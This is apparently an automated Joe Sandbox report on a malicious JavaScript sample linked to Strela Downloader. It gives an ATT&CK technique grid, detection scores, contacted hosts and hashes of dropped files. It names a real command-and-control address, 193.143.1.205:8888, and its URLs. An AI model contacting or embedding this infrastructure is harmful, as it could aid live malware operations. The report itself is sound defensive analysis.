Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
137112093815427392.js	3%	Virustotal		Browse
137112093815427392.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/k	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/w	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3456713035.0000025A68C8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2250291978.0000025A68AE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/k	net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/w	net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2218878516.0000019BBA898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2218878516.0000019BBA868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2218878516.0000019BBA8BA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588226
Start date and time:	2025-01-10 22:49:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	137112093815427392.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@32/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 162.159.61.3, 172.64.41.3, 2.23.240.205, 2.23.242.162, 23.209.209.135, 95.101.148.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 20.190.159.0, 52.22.41.97
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:50:58	API Interceptor	22x Sleep call for process: powershell.exe modified
16:51:01	API Interceptor	1x Sleep call for process: net.exe modified
16:51:04	API Interceptor	2x Sleep call for process: svchost.exe modified
16:51:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830700675932005
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug9:gJjJGtpTq2yv1AuNZRY3diu8iBVqFT
MD5:	2E21AF23C162D187D95887C7A94B06C6
SHA1:	847345A3F18AD09780051B05BEEB753EF5FD6428
SHA-256:	C68D9C16E4658D2BC68B99267A1161C68CDA923C1BD4CA0750A0B6FC43A7BABD
SHA-512:	B19C032DAED5D8311E7E672EFC19DDB25393F8F2CD11235CF989DFBDD5B20D6B6C399A895E82826F4975664F24057FC19CE46114EF64BCA80680BE28C727DE7B
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa59b8daa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585542496296914
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0EFBEF2DE88C8AAA468F66515AD253ED
SHA1:	4A9C1F5492232AF8860BAFF042D1CC1AB28AF806
SHA-256:	92F85D8DFE4902C05C05351F5A7A75BF7A7B636AE1B0AA9FFDE4547E52D8D9C6
SHA-512:	C4CA137079CC142520EFBAF841155E579621FC3B7E55350BE0DF707EFCF45CBB20C444A3C75A2BE81B7573881544F707396912A2F3EBDF09BDCE77F9C093F5EC
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{...3...}c.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................DMja.3...}W.................'3.n.3...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08109863688599644
Encrypted:	false
SSDEEP:	3:tPGlKYeX3JmbGuAJkhvekl1tlTa6/lollrekGltll/SPj:kKzX3WrxlxTtGJe3l
MD5:	A0DC022D5560BF42DA876703BEB95754
SHA1:	B4C0E2391628412613B9A62FA90ACB6830C449EA
SHA-256:	281FC2DF838EAA1ADED4EA87051E9DA300EA912C6148F1EFB1A0D3BB90ECBFAD
SHA-512:	A10946E49E41BB28ED1A6359C8FE809EDD2341B109F5C04AD9A4AE725EF647F0F85D5A01DA5112F7DBB53761FA993CF4975E26AA194C5A7363023066BA3937DF
Malicious:	false
Preview:	........................................;...{...3...}.......{...............{.......{...XL......{..................'3.n.3...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.159466725676652
Encrypted:	false
SSDEEP:	6:iO4Hn3SQ+q2P92nKuAl9OmbnIFUtSHnEgZmwsHnEQVkwO92nKuAl9OmbjLJ:7giQ+v4HAahFUtqEg/MEQV5LHAaSJ
MD5:	98A57AF44C4F927142E25C1A2853C3BC
SHA1:	0F6BC5DBE09860423DFB420AC1DEB09D6BF14FAC
SHA-256:	749A2F976CFCDE60B0DB2637DD7265258B75D60E5D5B2CB6F3C973A5C1686E13
SHA-512:	530E1EF1FE1E45F626D2BB586F8EFCDD3989F1F99806AC68771E03F54661961378639F3D88E6D1C73CDDDAC6F6C8C9CCDEDCFE45FB3CC75E713BB1E4F239B7B9
Malicious:	false
Preview:	2025/01/10-16:51:04.757 1e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:04.760 1e4c Recovering log #3.2025/01/10-16:51:04.760 1e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.159466725676652
Encrypted:	false
SSDEEP:	6:iO4Hn3SQ+q2P92nKuAl9OmbnIFUtSHnEgZmwsHnEQVkwO92nKuAl9OmbjLJ:7giQ+v4HAahFUtqEg/MEQV5LHAaSJ
MD5:	98A57AF44C4F927142E25C1A2853C3BC
SHA1:	0F6BC5DBE09860423DFB420AC1DEB09D6BF14FAC
SHA-256:	749A2F976CFCDE60B0DB2637DD7265258B75D60E5D5B2CB6F3C973A5C1686E13
SHA-512:	530E1EF1FE1E45F626D2BB586F8EFCDD3989F1F99806AC68771E03F54661961378639F3D88E6D1C73CDDDAC6F6C8C9CCDEDCFE45FB3CC75E713BB1E4F239B7B9
Malicious:	false
Preview:	2025/01/10-16:51:04.757 1e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:04.760 1e4c Recovering log #3.2025/01/10-16:51:04.760 1e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158883405141104
Encrypted:	false
SSDEEP:	6:iO4Hneryq2P92nKuAl9Ombzo2jMGIFUtSHnedsz1ZmwsHnetRkwO92nKuAl9OmbX:7gbv4HAa8uFUtqtz1/Mc5LHAa8RJ
MD5:	BF5FDF2681624926DD8DDF09F1B5F3E0
SHA1:	C4B8A56C1625A07F3999E99172B6089A42723B91
SHA-256:	07F9F5CFB9FBDB3ADB24E4F4D8FDC0B370CBADD27C98A9BF1D2357834FA6BA10
SHA-512:	984074916A0178A815BA1D04B479A983D769BB16D4E73F742FD08F0A6CCF5B3FC57A98F483C45C72453D77E2402024001328E05102BB5FD43CBD1586671963B6
Malicious:	false
Preview:	2025/01/10-16:51:04.897 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:04.898 1ea0 Recovering log #3.2025/01/10-16:51:04.899 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158883405141104
Encrypted:	false
SSDEEP:	6:iO4Hneryq2P92nKuAl9Ombzo2jMGIFUtSHnedsz1ZmwsHnetRkwO92nKuAl9OmbX:7gbv4HAa8uFUtqtz1/Mc5LHAa8RJ
MD5:	BF5FDF2681624926DD8DDF09F1B5F3E0
SHA1:	C4B8A56C1625A07F3999E99172B6089A42723B91
SHA-256:	07F9F5CFB9FBDB3ADB24E4F4D8FDC0B370CBADD27C98A9BF1D2357834FA6BA10
SHA-512:	984074916A0178A815BA1D04B479A983D769BB16D4E73F742FD08F0A6CCF5B3FC57A98F483C45C72453D77E2402024001328E05102BB5FD43CBD1586671963B6
Malicious:	false
Preview:	2025/01/10-16:51:04.897 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:04.898 1ea0 Recovering log #3.2025/01/10-16:51:04.899 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4ceda5f3-7e5e-44ca-8cbf-9312c79251a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056262222461695
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxhsBdOg2H6caq3QYiubxnP7E4T3OF+:Y2sRds1dMH13QYhbxP7nbI+
MD5:	A3594A229962AF3E59A38F49BD01890D
SHA1:	8E84F39CD5C68A95977A28D28FC7796D1B8FB5E2
SHA-256:	20F1E40A5E41D130D9E30DB3802471491B1E52702B06E34D044E62D3DDA39216
SHA-512:	7D4479FDEB38E16B25383A052414BF0C5AA22D829D7EBDA48F9999748CFBB118C17BED685255944F467909EAE671C43543CB8CFAAA82410673D8BC5D3C317823
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105874579984","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150394},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.056262222461695
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxhsBdOg2H6caq3QYiubxnP7E4T3OF+:Y2sRds1dMH13QYhbxP7nbI+
MD5:	A3594A229962AF3E59A38F49BD01890D
SHA1:	8E84F39CD5C68A95977A28D28FC7796D1B8FB5E2
SHA-256:	20F1E40A5E41D130D9E30DB3802471491B1E52702B06E34D044E62D3DDA39216
SHA-512:	7D4479FDEB38E16B25383A052414BF0C5AA22D829D7EBDA48F9999748CFBB118C17BED685255944F467909EAE671C43543CB8CFAAA82410673D8BC5D3C317823
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105874579984","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150394},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4591
Entropy (8bit):	5.246995929848947
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUskebuBV/1N0qXf:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLG
MD5:	6A829CF5BE5C3596DC0513EB49139B6F
SHA1:	8DFE1B708065A2ECDF31A5F6B43B80431DAACC5C
SHA-256:	B9EC9880BC4937ADA6EF5228567D6004B09922A09F60D4D6E393DF37C2AAD6D1
SHA-512:	BE2006DDB0A7196B352F4E9F9491DB634D4C37ABACEE7AF4908BBD88CB8E51D3C118A3B7AFC6E28FF7A5FED5A35746B5AAB8714B80D57E355B08535504463D0E
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141341867347345
Encrypted:	false
SSDEEP:	6:iO4HCyq2P92nKuAl9OmbzNMxIFUtSHh11ZmwsH3/RkwO92nKuAl9OmbzNMFLJ:7ov4HAa8jFUtQ11/e55LHAa84J
MD5:	44AF3AB1A39F58498E4423D5FD680237
SHA1:	9D5BEE49014BF767E42AE1D40494CDC8EAB7ECB7
SHA-256:	69E6A565FCD351C2E04102AD8DD5CFEC8593A5B028722AC1235968C194E18157
SHA-512:	CE00A60B64C3E86881F29C208DF1F2930E2E7D71B1033F1849E44E68B1CCEEB167734D53E4FA2430F63A042AA3628D86268AABEE01B4CB01217F224021C80637
Malicious:	false
Preview:	2025/01/10-16:51:05.786 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:05.787 1ea0 Recovering log #3.2025/01/10-16:51:05.789 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141341867347345
Encrypted:	false
SSDEEP:	6:iO4HCyq2P92nKuAl9OmbzNMxIFUtSHh11ZmwsH3/RkwO92nKuAl9OmbzNMFLJ:7ov4HAa8jFUtQ11/e55LHAa84J
MD5:	44AF3AB1A39F58498E4423D5FD680237
SHA1:	9D5BEE49014BF767E42AE1D40494CDC8EAB7ECB7
SHA-256:	69E6A565FCD351C2E04102AD8DD5CFEC8593A5B028722AC1235968C194E18157
SHA-512:	CE00A60B64C3E86881F29C208DF1F2930E2E7D71B1033F1849E44E68B1CCEEB167734D53E4FA2430F63A042AA3628D86268AABEE01B4CB01217F224021C80637
Malicious:	false
Preview:	2025/01/10-16:51:05.786 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:05.787 1ea0 Recovering log #3.2025/01/10-16:51:05.789 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
